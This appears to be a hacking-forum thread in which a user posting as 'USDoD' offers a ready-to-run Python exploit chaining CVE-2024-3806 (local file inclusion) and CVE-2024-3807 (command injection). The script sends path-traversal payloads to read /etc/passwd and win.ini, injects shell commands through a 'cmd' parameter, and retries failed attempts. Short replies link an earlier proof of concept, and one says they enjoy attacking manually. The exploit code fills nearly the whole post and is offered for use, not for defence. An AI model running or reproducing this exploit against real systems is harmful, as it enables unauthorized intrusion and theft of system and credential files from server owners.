[USDoD]

Hello, good morning.

Here is a complete and fully functional exploits for both CVE's, I merged both into one single script

#!/usr/bin/env python3
"""
Advanced Exploit Script for CVE-2024-3806 (LFI) and CVE-2024-3807 (Command Injection)
Author: USDoD
"""

import requests
import urllib.parse
import logging
import time

# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

# Step 1: Generate LFI Payloads Dynamically
def generate_lfi_payloads(base_path):
    payloads = [
        f"{base_path}../../../../../../etc/passwd",  # Unix-like systems
        f"{base_path}../../../../../../windows/win.ini",  # Windows systems
    ]
    logging.info(f"Generated {len(payloads)} LFI payloads.")
    return payloads

# Step 2: Exploit LFI (CVE-2024-3806) to read sensitive files
def exploit_lfi(session, lfi_url, lfi_payload):
    try:
        encoded_payload = urllib.parse.quote(lfi_payload)
        full_lfi_url = f"{lfi_url}?file={encoded_payload}"
        logging.info(f"Attempting LFI with URL: {full_lfi_url}")
       
        response = session.get(full_lfi_url, timeout=10)
       
        if response.status_code == 200 and response.text:
            logging.info("LFI successful. Retrieved content:")
            logging.info(response.text[:500])  # Print first 500 characters for brevity
            return response.text
        else:
            logging.warning(f"LFI failed with status code {response.status_code} or empty response.")
            return None
    except requests.exceptions.RequestException as e:
        logging.error(f"LFI request failed: {e}")
        return None

# Step 3: Exploit Command Injection (CVE-2024-3807) to achieve RCE
def exploit_command_injection(session, command_injection_url, command_payload):
    try:
        encoded_payload = urllib.parse.quote(command_payload)
        full_command_url = f"{command_injection_url}?cmd={encoded_payload}"
        logging.info(f"Attempting Command Injection with URL: {full_command_url}")
       
        response = session.get(full_command_url, timeout=10)

        if response.status_code == 200 and response.text:
            logging.info("Command Injection successful. Command output:")
            logging.info(response.text[:500])  # Print first 500 characters for brevity
            return response.text
        else:
            logging.warning(f"Command Injection failed with status code {response.status_code} or empty response.")
            return None
    except requests.exceptions.RequestException as e:
        logging.error(f"Command Injection request failed: {e}")
        return None

# Step 4: Parse Results and Extract Data
def extract_sensitive_data(response_text, search_strings):
    extracted_data = {}
    for search_string in search_strings:
        if search_string in response_text:
            extracted_data[search_string] = response_text.split(search_string)[1].split("\n")[0]
    return extracted_data

# Step 5: Retry Mechanism for Robustness
def retry_exploit(func, *args, retries=3, delay=5):
    for attempt in range(retries):
        result = func(*args)
        if result:
            return result
        logging.warning(f"Retrying {func.__name__} (Attempt {attempt + 1}/{retries}) in {delay} seconds...")
        time.sleep(delay)
    logging.error(f"All {retries} attempts to run {func.__name__} failed.")
    return None

# Combined Exploit Function
def combined_exploit(lfi_url, command_injection_url):
    session = requests.Session()  # Use a session to maintain state, like cookies

    # Generate LFI payloads
    lfi_payloads = generate_lfi_payloads(base_path="")
    for lfi_payload in lfi_payloads:
        passwd_file_content = retry_exploit(exploit_lfi, session, lfi_url, lfi_payload)
        if passwd_file_content and "root:x" in passwd_file_content:
            logging.info("/etc/passwd file retrieved successfully.")
           
            # If LFI successful, proceed with Command Injection
            command_payload = "cat /etc/passwd"
            retry_exploit(exploit_command_injection, session, command_injection_url, command_payload)
            break
        else:
            logging.warning(f"LFI did not succeed or /etc/passwd not found with payload: {lfi_payload}")

# URLs of the vulnerable endpoints
lfi_url = "http://target-site.com/vulnerable_lfi_endpoint"
command_injection_url = "http://target-site.com/vulnerable_command_injection_endpoint"

# Execute the combined exploit
combined_exploit(lfi_url, command_injection_url)

[demonnsouls]

hummm someone merged them before: https://github.com/truonghuuphuc/CVE-202...4-3807-Poc

[atwakaintelbroker]

I prefer doing this manually because I enjoy the thrill of handling everything myself. Using an automated tool might overlook important details that I want to manage personally.